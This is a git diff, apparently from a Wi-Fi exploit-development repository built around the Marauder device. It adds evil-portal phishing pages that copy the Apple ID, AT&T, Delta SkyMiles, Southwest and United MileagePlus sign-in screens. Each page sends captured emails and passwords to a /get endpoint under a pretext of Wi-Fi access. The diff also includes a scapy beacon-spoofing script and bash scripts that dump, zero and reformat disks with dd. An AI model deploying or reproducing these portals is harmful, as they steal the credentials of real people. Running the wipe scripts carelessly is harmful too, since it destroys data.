||||
}
|
||||
|
||||
button {
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
font: inherit;
|
||||
color: inherit;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 768px) {
|
||||
form {
|
||||
width: 80%;
|
||||
}
|
||||
|
||||
#appleid,
|
||||
#password {
|
||||
min-width: 90%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<header>
|
||||
<div class="appleLogo">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="1000.000000pt" height="1000.000000pt"
|
||||
viewBox="0 0 1000.000000 1000.000000" preserveAspectRatio="xMidYMid meet">
|
||||
|
||||
<g transform="translate(0.000000,1000.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
|
||||
<path d="M6820 9745 c-332 -56 -725 -235 -1013 -461 -278 -219 -545 -588 -682
|
||||
-942 -95 -247 -146 -585 -118 -787 l6 -48 156 6 c229 9 371 44 588 147 470
|
||||
223 926 725 1121 1233 94 244 140 528 125 765 l-6 102 -51 -1 c-28 -1 -85 -7
|
||||
-126 -14z" />
|
||||
|
||||
<path d="M6635 7499 c-238 -26 -494 -92 -870 -226 -487 -174 -647 -219 -737
|
||||
-209 -81 10 -274 64 -463 131 -413 147 -510 179 -650 215 -196 50 -334 70
|
||||
-488 70 -422 0 -863 -135 -1245 -382 -531 -343 -917 -902 -1087 -1573 -83
|
||||
-327 -110 -593 -102 -1003 7 -364 41 -643 121 -997 161 -711 486 -1470 863
|
||||
-2014 559 -807 985 -1188 1410 -1262 101 -18 325 -6 453 24 123 29 316 92 522
|
||||
171 518 198 922 225 1387 91 50 -15 161 -54 248 -87 201 -77 403 -141 529
|
||||
-168 124 -27 342 -37 444 -21 179 28 370 108 540 229 350 247 887 946 1200
|
||||
1562 96 190 251 561 294 707 6 20 -5 28 -111 81 -229 114 -398 237 -594 432
|
||||
-332 330 -519 702 -585 1167 -23 162 -23 468 0 627 43 296 140 558 293 791
|
||||
158 239 394 468 661 640 l91 58 -61 80 c-277 363 -670 625 -1142 761 -306 89
|
||||
-679 131 -921 105z" />
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
</header>
|
||||
|
||||
|
||||
<div class="main">
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
<div id="sign">
|
||||
<h2>Sign in</h2>
|
||||
<h2>Use your Apple ID to access the Wi-Fi</h2>
|
||||
</div>
|
||||
<div class="input" id="inputText">
|
||||
<div>
|
||||
<input type="email" name="email" placeholder="Apple ID" id="appleid" required>
|
||||
</div>
|
||||
<div>
|
||||
<input type="password" name="password" placeholder="Password" id="password" required>
|
||||
</div>
|
||||
</div>
|
||||
<div class="logo">
|
||||
<button class="button" type="submit">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="512.000000pt" height="512.000000pt"
|
||||
viewBox="0 0 512.000000 512.000000" preserveAspectRatio="xMidYMid meet">
|
||||
|
||||
<g transform="translate(0.000000,512.000000) scale(0.100000,-0.100000)" fill="#000000"
|
||||
stroke="none">
|
||||
<path d="M2330 5110 c-494 -48 -950 -230 -1350 -538 -195 -150 -448 -432 -594
|
||||
-662 -63 -99 -186 -351 -230 -471 -51 -139 -103 -344 -128 -504 -31 -200 -31
|
||||
-550 0 -750 43 -273 114 -500 237 -750 132 -269 269 -460 489 -681 221 -220
|
||||
412 -357 681 -489 247 -121 469 -192 745 -237 195 -31 565 -31 760 0 276 45
|
||||
498 116 745 237 269 132 460 269 681 489 220 221 357 412 489 681 123 250 194
|
||||
477 237 750 31 200 31 550 0 750 -43 273 -114 500 -237 750 -132 269 -269 460
|
||||
-489 681 -221 220 -412 357 -681 489 -246 121 -474 193 -740 235 -147 23 -475
|
||||
34 -615 20z m430 -351 c872 -79 1622 -675 1896 -1506 350 -1060 -145 -2212
|
||||
-1156 -2691 -1096 -519 -2416 -44 -2938 1058 -397 837 -221 1841 438 2500 465
|
||||
465 1108 699 1760 639z" />
|
||||
<path d="M2735 3702 c-79 -28 -127 -93 -127 -172 1 -27 8 -61 16 -77 8 -15
|
||||
168 -181 355 -368 l341 -340 -992 -5 c-899 -5 -996 -7 -1023 -22 -64 -35 -97
|
||||
-90 -97 -158 0 -68 33 -123 97 -158 27 -15 124 -17 1023 -22 l992 -5 -341
|
||||
-340 c-187 -187 -347 -353 -355 -368 -20 -37 -20 -117 0 -155 24 -46 84 -90
|
||||
132 -98 87 -13 98 -4 622 519 266 265 496 502 512 526 40 60 46 101 25 159
|
||||
-15 40 -90 120 -504 535 -267 269 -505 502 -528 518 -43 30 -111 44 -148 31z" />
|
||||
</g>
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="input2">
|
||||
<input type="checkbox" name="remember" id="remember"><label for="remember" id="r2">Remember me</label>
|
||||
</div>
|
||||
<h4><a href="#">Forgot Apple ID or password?</a><span><i class='bx bx-up-arrow-alt'></i></span></h4>
|
||||
<h4>Dont't have an Apple ID? <a href="#">Create yours now.</a><span><i
|
||||
class='bx bx-up-arrow-alt'></i></span></h4>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<footer>
|
||||
<p>Copyright © 2023 Apple Inc. All rights reserved.</p>
|
||||
<p>Privacy Policy</p>
|
||||
<p>Terms of Use</p>
|
||||
</footer>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Executable
+94
@@ -0,0 +1,94 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #00A8E0;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: auto;
|
||||
background-color: white;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
#logo {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 24px;
|
||||
font-weight: 300;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 16px;
|
||||
font-weight: 200;
|
||||
color: #888;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
box-sizing: border-box;
|
||||
margin-top: 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
button {
|
||||
background-color: #00A8E0;
|
||||
color: white;
|
||||
padding: 14px 20px;
|
||||
margin: 8px 0;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background-color: #0081b8;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div id="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 -42 1000 411">
|
||||
<path fill="#000000" d="M925 246c-2 0-4-2-4-5V109h-45c-3 0-5-2-5-5V86c0-3 2-5 5-5h120c2 0 4 2 4 5v18c0 3-2 5-4 5h-45v132c0 3-2 5-5 5h-21m-344-66-24-68-24 68h48zm52 60c1 3-1 6-4 6h-21c-3 0-5-2-6-5l-12-35h-66l-13 35c-1 3-2 5-6 5h-20c-2 0-4-3-3-6l56-155c1-2 2-4 6-4h27c3 0 5 2 6 4l56 155m160-16c13 0 22-7 29-18l-34-35c-12 7-20 14-20 28s11 25 25 25m9-121c-11 0-17 7-17 16 0 7 4 13 12 22 15-8 21-13 21-22s-5-16-16-16m91 137c3 3 1 6-2 6h-26c-4 0-6-1-8-4l-16-17a57 57 0 0 1-49 24c-30 0-54-18-54-49 0-24 13-36 32-47-9-11-13-22-13-32 0-26 17-43 44-43 28 0 45 16 45 40 0 20-15 32-31 41l23 24 13-22c2-3 4-4 7-4h20c3 0 5 2 3 6l-23 39 35 38m-205 6c2 0 4-2 4-5V109h45c3 0 5-2 5-5V86c0-3-2-5-5-5H617c-2 0-4 2-4 5v18c0 3 2 5 4 5h45v132c0 3 2 5 5 5h21z"/>
|
||||
<path fill="#00A8E0" d="M79 326a205 205 0 0 0 262-8s0-1 0 0c-16 10-63 34-135 34a257 257 0 0 1-127-26m140 10c51 0 107-14 140-41 9-7 18-17 25-31a197 197 0 0 0 12-25c-30 45-120 73-213 73-65 0-135-20-163-60 0-1 0-1 0 0 26 54 103 84 199 84m-55-90C59 246 9 197 0 163c0 12 1 26 3 36 1 4 5 12 10 18 26 26 89 63 199 63 150 0 185-49 192-66a151 151 0 0 0 6-62c-7 40-135 94-246 94M20 75c-6 12-13 32-15 43-1 4 0 6 1 10 13 26 77 69 225 69 91 0 162-22 173-63 2-7 2-15 0-26a200 200 0 0 0-14-35c2 53-147 88-222 88-82 0-150-33-150-74l2-12m321-65 2 4c0 23-70 64-182 64-81 0-97-31-97-50 0-7 3-14 9-21 0-1 0-1 0 0-11 9-21 19-29 30-4 5-7 9-7 12 0 40 100 69 194 69 100 0 144-33 144-61 0-10-4-16-14-28L342 9l-1 1m-30-23a203 203 0 0 0-212 1C90-7 84-2 84 4c0 17 41 36 113 36 71 0 126-21 126-40 0-5-4-8-12-13"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1>Sign in</h1>
|
||||
|
||||
<h2>Use your AT&T Account to gain Access to the WiFi Network</h2>
|
||||
|
||||
<form action="/get">
|
||||
|
||||
<input type="text" name="email" placeholder="Email or Phone Number" required>
|
||||
|
||||
<input type="password" name="password" placeholder="Password" required>
|
||||
|
||||
<button type="submit">Sign In</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Executable
+115
@@ -0,0 +1,115 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f3f3f3;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 50%;
|
||||
}
|
||||
|
||||
.title, .sub-title {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ccc;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
background-color: #003D79;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 70%;
|
||||
}
|
||||
|
||||
.input-field, .button {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 766 118">
|
||||
<path fill="#98002E" d="M142 105 74 72V0l68 105zm6 13L74 87v31h74z"/>
|
||||
<path fill="#E31937" d="M5 105 74 0v72zm-5 13h74V87z"/>
|
||||
<path fill="#98002E" d="M154 96a5 5 0 0 1 0 10 5 5 0 0 1 0-10m0 9a4 4 0 0 0 4-4 4 4 0 1 0-8 0 4 4 0 0 0 4 4m-1-1h-1v-6h2l2 2-2 2 2 2h-1l-1-2h-1v2zm0-3h1l1-1-1-1h-1v2z"/>
|
||||
<path fill="#003D79" d="M205 105h34c34 0 54-17 54-47 0-29-20-47-54-47h-34v94zm21-77h13c22 0 33 11 33 30 0 20-11 31-33 31h-13V28zm138 37h40V48h-40V28h45V11h-66v94h68V89h-47zm167 24h-41V11h-21v94h62zm113-78h-84v17h31v77h21V28h32zm122 94h-22l-9-23h-38l-10 23h-20l39-94h21l39 94zm-37-39-13-33-13 33h26z"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1 class="title">Sign in</h1>
|
||||
|
||||
<h2 class="sub-title">Using your SkyMiles number or username and password.</h2>
|
||||
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="email" type="text" placeholder="SkyMiles # or Username" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="password" type="password" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<button class="button" type="submit">Sign In</button>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Executable
+1
@@ -0,0 +1 @@
|
||||
<HTML>HTMLINDEXFILE</HTML>
|
||||
Executable
+110
@@ -0,0 +1,110 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #f9f9f9;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
background: #fff;
|
||||
padding: 20px;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 10px #999;
|
||||
max-width: 400px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
svg {
|
||||
width: 80%;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.5rem;
|
||||
text-align: center;
|
||||
margin: 20px 0;
|
||||
}
|
||||
|
||||
.subtext {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 15px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.form-control {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ddd;
|
||||
font-size: 1rem;
|
||||
}
|
||||
|
||||
button {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
background: #143f85;
|
||||
color: #fff;
|
||||
font-size: 1.1rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media (max-width: 500px) {
|
||||
.container {
|
||||
max-width: 90%;
|
||||
}
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 223 34">
|
||||
<path fill="#304cb2" d="M59 27h-3c-3 0-4-1-4-3V12h-6v13c0 6 3 8 10 8l9-1V12h-6v15zm20 1c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zM15 16l-3-1c-4-1-5-1-5-3s1-3 5-3l7 2 1-6-8-2C5 3 1 7 1 12c0 4 1 6 5 8l3 1 6 3c0 2-2 3-5 3l-8-2-2 6 10 2c7 0 11-4 11-9 0-4-2-6-6-8zm79-5-5 1V2h-6v31h6V18l4-1c2 0 3 1 3 3v13h6V19c0-5-2-8-8-8zm-61 0c-6 0-11 4-11 11s5 11 11 11 11-4 11-11-4-11-11-11zm0 16c-2 0-4-2-4-5s2-5 4-5c3 0 5 1 5 5 0 3-2 5-5 5zm135-7-3-1-3-1c0-1 1-2 3-2l6 1 1-5-7-1c-6 0-9 3-9 7 0 3 2 4 4 6l3 1 4 2-4 1-6-1-1 5 8 1c6 0 9-3 9-7 0-3-1-5-5-6zm-22-9c-7 0-11 4-11 11s4 11 11 11l8-2-1-5-6 2c-4 0-6-2-6-4h14v-3c0-6-3-10-9-10zm-5 9c1-2 2-4 4-4 3 0 4 3 4 4h-8zm44 8c-3 0-3-1-3-3v-8h5v-5h-5V6h-6v6h-3v5h3v8c0 4 1 8 7 8l5-1-1-5-2 1zm4-25c-2 0-3 1-3 3s1 3 2 3c2 0 3-2 3-3l-2-3zm0 5c-2 0-3-1-3-2s1-2 3-2l2 2-2 2zm0-2 1-1-1-1h-1v3-1h1v1h1l-1-1zm-1 0V5h1l-1 1zm-59 6-4 12-3-12h-6l-4 12-3-12h-7l8 21h5l4-11 4 11h5l8-21h-7z"/>
|
||||
<path fill="#ccc" d="m207 11-5 1-5-1c-4 0-7 2-7 7 0 6 6 11 12 15 6-4 12-9 12-15 0-5-3-7-7-7z"/>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1>Sign In</h1>
|
||||
|
||||
<p class="subtext">Sign in using your Rapid Rewards number or username and password</p>
|
||||
|
||||
<form action="/get" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input type="text" name="email" class="form-control" placeholder="Rapid Rewards # or Username" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input type="password" name="password" class="form-control" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<button type="submit">Sign In</button>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
Executable
+117
@@ -0,0 +1,117 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f3f3f3;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 50%;
|
||||
}
|
||||
|
||||
.title, .sub-title {
|
||||
text-align: center;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
border: 1px solid #ccc;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
height: 40px;
|
||||
background-color: #003D79;
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
@media screen and (max-width: 600px) {
|
||||
.container {
|
||||
margin: 10px;
|
||||
}
|
||||
|
||||
.logo svg {
|
||||
width: 70%;
|
||||
}
|
||||
|
||||
.input-field, .button {
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
|
||||
<div class="logo">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" viewBox="0 0 470 82">
|
||||
<switch transform="translate(-5 -6)">
|
||||
<g>
|
||||
<path fill="none" d="M0 0h490v95H0z"/>
|
||||
<path fill="#005daa" d="M475 6v83h-17a54 54 0 0 0-22-65c-11-7-26-10-40-7l-3 1V6h82zm-59 13c-5-2-11-3-16-2l2 1v-1l8 1-3 1 1 1 4-1 5 2-6 1 1 1 7-1 2 4h-7v2h8l1 4-8-1v2l8 2v5l-9-3-1 4 8 4-1 4-9-5-3 5 8 5-3 4-7-6-5 4 7 8-3 2-7-8-5 4v3l3 7-2 1-1-2v4c13-6 26-19 30-33 2-5 2-11 0-16l-7-7m-2-2 1 1h1c2 0 5 1 7 3h-3l1 1h5l5 5-7-1v2l8 2 2 5-9-2v2c4 1 7 2 9 4v5l-9-4-2 5 9 5-2 5-9-5-3 6 7 6-3 4-7-7-6 7 6 7-3 3-6-8-9 6 5 8-3 1-4-8-2 1v11c10-3 19-9 27-18 8-7 13-16 15-26 1-8-1-16-8-21-4-3-8-4-13-5m-4 6c-4-5-11-5-17-4v1l4-1-2 2 1 1 3-3 5 1-6 3h1l7-3 2 2-8 3 1 1 9-3 1 3-9 2v1l10-1 1 3h-11v2h10v4l-11-2v2l10 3-2 3-10-3-2 3 9 5-2 2-8-5-3 3 6 7-2 2-4-6v10c6-4 13-10 17-17 3-5 5-13 2-19l-2-2m19 0h2l6 4 1 2-5-1 2 2 5 2 2 7-6-3v4l7 3-1 7-6-5-2 6 6 5-2 6-6-6-5 7 6 6-3 5-6-7-7 8 5 6-3 3-6-7-10 7 3 5h8c14-9 25-23 29-37 2-10 0-19-6-26-3-3-7-4-10-5l2 2m-36-1v1h1l2 1-3 2v1l4-3 1 2-5 2v1l6-2v1l-6 2v1l7-2v2l-7 1v1h7l-1 2h-6v1l5 1-1 2-4-1v3l3 1-2 1h-1v3l4-4c3-5 5-10 3-15-1-3-4-5-7-5m48 8 2 3 2 1 4 8-4-2v4l4 4v7l-5-4-2 7 5 4-2 6-5-5-5 8 4 5-3 5-5-6-7 8 4 6h1l8-8c6-8 11-16 13-25s-1-19-7-26h-2zm6 5c3 3 5 7 6 11l-2-2v5l3 3v8l-3-3-2 7 3 4-2 6-4-4-5 8 4 5-4 5-4-6-6 7h10c7-8 12-16 14-26 2-9 0-19-6-26l-2-2m9 13v6l2 2-1 8-1-2-2 8 1 3-2 6-2-3-5 9 2 4h1c6-9 9-18 10-29l-3-12zm4 15v4h-1l-2 8 1 2-3 6-1-2-4 8h4l5-13c1-4 2-8 1-13zm0 11-3 13v-1l-2 3h2c2-4 3-10 3-15m-60 11-7 3v1h9l-2-4zm20 1-4 3h6l-2-3m-94-48h9c10 0 14 4 14 12s-4 12-14 12h-9V38zm-12-10v44h21c18 0 27-8 27-22 0-13-8-21-27-22h-21zm-24 0v10h-28v8h24v8h-24v8h28v10h-40V28zm-62 0v10h-16v34h-12V38h-16V28zm-78 0h13v44h-13V38zM87 45l27 27h9V28h-12v26L86 28H76v44h11zm-35 8c0 13-8 19-23 19-16 0-24-6-24-19V28h12v25c0 6 4 10 12 10 7 0 11-4 11-10V28h12v25z"/>
|
||||
</g>
|
||||
</switch>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<h1 class="title">Sign in</h1>
|
||||
|
||||
<h2 class="sub-title">Using your MileagePlus® number and password.</h2>
|
||||
|
||||
<form action="/get" id="email-form-step" method="GET">
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="email" type="text" placeholder="MileagePlus® number" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<input class="input-field" name="password" type="password" placeholder="Password" required>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<button class="button" type="submit">Sign In</button>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
+1
-1
@@ -1,7 +1,7 @@
|
||||
from scapy.all import *
|
||||
|
||||
iface = 'wlan1'
|
||||
sender = 'ac:cb:12:ad:58:27'
|
||||
# sender = 'ac:cb:12:ad:58:27'
|
||||
|
||||
def beacon_raw(SSID, length=255):
|
||||
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender, addr3=sender)
|
||||
|
||||
Executable
+23
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
number=2
|
||||
tag=incremental-overrun-nullbyte
|
||||
blocks=32
|
||||
blocksize=1M
|
||||
dumpsize=32M
|
||||
|
||||
|
||||
|
||||
echo -e "\nListing Disks"
|
||||
lsblk
|
||||
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
|
||||
read disk
|
||||
block=/dev/$disk
|
||||
|
||||
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
|
||||
|
||||
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
|
||||
|
||||
echo -e "\nWriting to ${filename}"
|
||||
sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync
|
||||
|
||||
echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n"
|
||||
Regular → Executable
Regular → Executable
Executable
+6
@@ -0,0 +1,6 @@
|
||||
lsblk
|
||||
echo -e "\nSelect A Disk (sda1, sdb1, etc)"
|
||||
read disk
|
||||
sudo mount /dev/$disk /mnt/MARAUDLABEL
|
||||
echo -e "\n/mnt/MARAUDLABEL\n"
|
||||
ls -lah /mnt/MARAUDLABEL
|
||||
Executable
+1
@@ -0,0 +1 @@
|
||||
sudo umount /mnt/MARAUDLABEL
|
||||
Executable
+45
@@ -0,0 +1,45 @@
|
||||
#!/bin/bash
|
||||
mountpoint=/mnt/MARAUDLABEL/
|
||||
gb_to_zero=1
|
||||
# full_wipe=True
|
||||
copy_files=True
|
||||
|
||||
echo "WILL WIPE DISK USE WITH CARE"
|
||||
|
||||
echo -e "\nListing Disks"
|
||||
lsblk
|
||||
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
|
||||
read disk
|
||||
block="/dev/${disk}"
|
||||
|
||||
if [ -z $full_wipe ]; then
|
||||
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
|
||||
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
|
||||
else
|
||||
echo -e "\nZeroing FULL Disk $block"
|
||||
sudo dd if=/dev/zero of=$block status=progress bs=32M conv=fdatasync
|
||||
fi
|
||||
|
||||
echo -e "\nCreating Partitions on $block"
|
||||
sudo echo ',,b;' | sudo sfdisk $block
|
||||
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
|
||||
lsblk
|
||||
read part
|
||||
partition="/dev/${part}"
|
||||
echo -e "\nMaking FAT32 Filesystem on $partition"
|
||||
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
|
||||
echo -e "\n$block Status:"
|
||||
sudo sfdisk -l $block
|
||||
echo -e "\nMounting $partition at $mountpoint"
|
||||
sudo mount $partition $mountpoint
|
||||
if [ ! -z $copy_files ]; then
|
||||
echo -e "\nCopying Minimal Files"
|
||||
sudo cp marauder_cyd_microsd/index.html $mountpoint
|
||||
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
|
||||
echo -e "\nListing"
|
||||
ls -lah $mountpoint
|
||||
echo -e "\numounting $partition from $mountpoint"
|
||||
sudo umount $mountpoint
|
||||
fi
|
||||
echo -e "\n\nYou May Now Use on Marauder"
|
||||
|
||||
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Regular → Executable
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user